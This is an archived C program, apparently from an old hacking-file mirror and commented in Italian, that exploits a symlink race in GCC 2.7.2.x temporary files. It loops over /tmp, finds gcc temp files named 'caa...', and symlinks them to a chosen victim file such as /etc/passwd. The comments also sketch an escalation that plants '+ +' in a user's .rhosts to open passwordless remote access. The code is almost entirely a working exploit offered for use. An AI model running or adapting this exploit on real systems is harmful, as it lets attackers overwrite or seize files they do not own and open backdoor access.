home *** CD-ROM | disk | FTP | other *** search
- /*
- GCC 2.7.2.x exploit
-
- Crea un link su un file temporaneo di gcc con destinazione -> victim_file
- Il programma aspetta dei file tmp di gcc... e poi fa il link.
-
- Uso: ./a.out /etc/passwd &
-
- Spero che questa roba che ho scritto funga... il prog funziona cosi':
- una volta eseguito per restare in background... cerca nella directory
- /tmp dei file temporanei di gcc e grazie ad un bug (in pratica questi file
- temporanei seguono il link simbolico) potete far vostro un file che non lo
- e'...
- Questo programma potrebbe essere scritto in modo piu' proficuo per esempio
- leggendo attraverso una struttura di tipo "stat" l'uid del file temporaneo
- e facendo quindi un link su .rhosts della home dell'utente con quell'id
- e poi scrivendoci sopra un "+ +".
- Sinceramente anche se e' abbastanza facile farlo non ho coglioni di scrivere
- una cosa del genere visto che attualmente lavoro con una versione del gcc
- gia' patchata :)
- Questo programma puo' essere ottimizzato per esempio per essere reso piu'
- veloce e per far si'che dopo un ciclo non vada a rifare i link su link
- gia' creati prima...
- Purtroppo capisco perche' Michal Zalewsky non abbia scritto una versione in
- C di tale exploit... fare uno script bash di questo tipo non richiede
- praticamente niente rispetto al programma...
- Anch'io come pigrizia non scherzo... im sorry :) pIGpEN
-
- */
-
- #include <unistd.h>
- #include <dirent.h>
- #include <stdio.h>
- #include <string.h>
- #include <sys/time.h>
- #include <sys/resource.h>
-
- #define EXPLOIT_NAME "gcc 2.7.2.X exploit"
- #define ERROR -1
- #define GCC_FILE "caa"
- /* questa costante potrebbe causare problemi a file su /tmp che cominciano per
- caa... ma sinceramente oggi sono troppo scazzato per cercare una soluzione a
- tutti i problemi della vita :) */
-
- main(int argc, char *argv[])
- {
- FILE *fp;
- struct dirent **filelist;
- char cmd[100];
- int c_ret;
-
- if(argc!=2)
- {
- system("clear");
- printf("%s \nWritten by pIGpEN/s0ftpj\n",EXPLOIT_NAME);
- printf("Exploit by Michal Zalewsky\n");
- printf("Usage: %s victim_file\n",argv[0]);
- exit(ERROR);
- }
-
- if((fp=fopen(argv[1],"r"))==NULL) // va bene anche l'access() con mode F_OK
- {
- printf("Victim File Not Found\n");
- exit(ERROR);
- }
-
- else fclose(fp);
-
- setpriority(PRIO_PGRP,0,20);
- for(;;)
- {
- c_ret = scandir("/tmp", &filelist, 0, alphasort);
- while(c_ret--)
- {
- if(strstr(filelist[c_ret]->d_name,GCC_FILE)!=NULL)
- {
- sprintf(cmd,"ln -sf %s /tmp/%s",argv[1],filelist[c_ret]->d_name);
- system(cmd);
- }
- }
- }
- }
-